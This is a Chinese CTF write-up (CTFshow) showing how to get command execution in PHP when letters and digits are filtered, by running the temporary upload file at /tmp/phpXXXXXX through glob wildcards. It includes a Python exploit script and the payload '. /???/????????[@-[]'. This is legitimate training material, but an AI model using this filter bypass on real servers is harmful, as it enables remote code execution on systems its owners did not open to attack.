php无字母数字命令执行

Ant大约 2 分钟

php无字母数字命令执行

在命令执行功能中,通常会过滤掉字母和数字,使攻击者无法使用正常的命令进行攻击。

php开发的网站,通过POST上传的文件.enctype设置成multipart/form-data,文件会被临时存放在/tmp目录下,完成路径为/tmp/phpXXXXXX,其中X为随机的大小写字母,这个路径时在php.ini配置文件中设置的。

在shell中可以使用. filename来执行filename文件,不需要filename有执行权限。其中.和filename之间有一个空格。空格在使用post传参时可以用+来代替,在url中用%20来代替。

有了上前面的知识之后,我们就可以构造一个包含恶意代码的文件通过post方法上传到服务器,然后利用系统的命令执行功能传递执行这个文件的命令,即使用. filename来执行这个文件。

因为系统过滤掉了字母和数字,所有需要使用全局通配符来标识这个文件路径。

常用的全局通配符有以下几个:

  • *:匹配任意多个字符,包括空格。
  • ?:匹配任意单个字符。
  • [ ]:匹配方括号内的任意一个字符。
  • { }:匹配大括号内的任意一个字符。

/tmp/phpXXXXXX可以表示为/???/?????????,为了减少干扰项,我们可以使用[@-[ ]来匹配文件名的最后一个字符。

在ASCII表中所有大写字母在@和[符号之间,[@-[ ]表示所有大写字母。因为phpXXXXXX中的任意一位X都有可能是大写,所以我们可以使用[@-[ ]来匹配最后一个字符(匹配其他位置的X也可以)。

CTFshow中对应的题目和payload


import requests
import time
url = "http://CTFshow题目环境地址"

#payload.txt 内容为需要执行的命令 这里为 tac /var/www/html/flag.php
file = {"file": open("payload.txt", "r")}

data = {"code": ". /???/????????[@-[]"}

while True:
    response = requests.post(url, files=file, data=data)
    if response.text.find("CTF{")!= -1:
        flag = response.text[response.text.find("CTF{"):-1]
        print(flag)
        break
    else:
        print("Waiting for flag...")
        time.sleep(1)

每秒发送一次请求,直到获取到flag。

除了使用官方的python脚本写法,还可以写一个html页面,包含文件提交的form表单,将文件传到php服务器,上传的过程使用BP抓包,把执行文件的命令使用通配符表示一起发送到服务器。

Loading...